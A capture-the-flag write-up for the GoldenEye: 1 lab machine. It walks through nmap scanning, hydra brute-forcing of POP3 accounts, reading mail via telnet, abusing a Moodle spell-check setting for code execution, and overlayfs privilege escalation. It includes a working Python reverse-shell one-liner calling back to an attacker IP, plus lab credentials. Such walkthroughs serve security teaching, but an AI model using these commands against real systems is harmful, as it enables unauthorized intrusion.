Golden-Eye

By Lawcky 27/12/2023

Introduction

Golden-Eye is inspired by the James Bond series

Difficulty : medium

Additionnal info :

Name: GoldenEye: 1
Date release: 4 May 2018
Author: creosote
Series: GoldenEye

|NOTE| if you want to see all the scans we wont copy them here as they would be way too voluminous, click here to see them

---

In this write-up

• Hydra
• strings
• nmap
• nikto
• telnet for POP3
• burpsuite
• python RCE

---

Write-Up

First approach

on the /sev-home

the answer is in the souce code of the root page in the terminal.js file

using burp’s Decoder :

boris:InvincibleHack3r

---

nmap

we run a nmap scan on all ports to find the port used by pop3

nmap -p- gold.eye

nmap -sV -p 55006,55007 gold.eye

port 55007 is used by pop3

---

hydra

nikto found a page at gold.eye/splashAdmin.php
on this page we see many username,
boris natalya janus admin and a mention for xenia, using the wordlist fasttrack.txt and hydra we can try to bruteforce a password for these users

hydra -L names.txt -P fasttrack.txt pop3://gold.eye:55007/

---

POP3

we access their mail using telnet

for boris

telnet gold.eye 55007

USER boris

PASS secret1!

LIST

RETR 3

telnet gold.eye 55007

USER natalya

PASS bird

LIST

RETR 2

we update our /etc/hosts and go to that site

---

Moodle

found in xenia’s messages

hydra -l doak -P fasttrack.txt pop3://192.168.1.87:55007/

---

Admin password

here is the content of the page

using the strings commands of linux on it

the password was hidden in the image encrypted as base64

admin:xWinter1995x!

RCE

in the admin settings we can change the system’s path to execute code as the spell-checking tool in order to get a rce on the server

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.253",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
then nc -lnvp 4444

---

upgrade tty

python3 -c 'import pty; pty.spawn("/bin/bash")'

CTRL-Z + stty raw -echo && fg

export TERM=xterm-256color

exploit using overlayfs

we download overlays fs through the python http.server module, compile it and execute it

---

Flag

cat /root/.flag.txt
568628e0d993b1973adc718237da6e93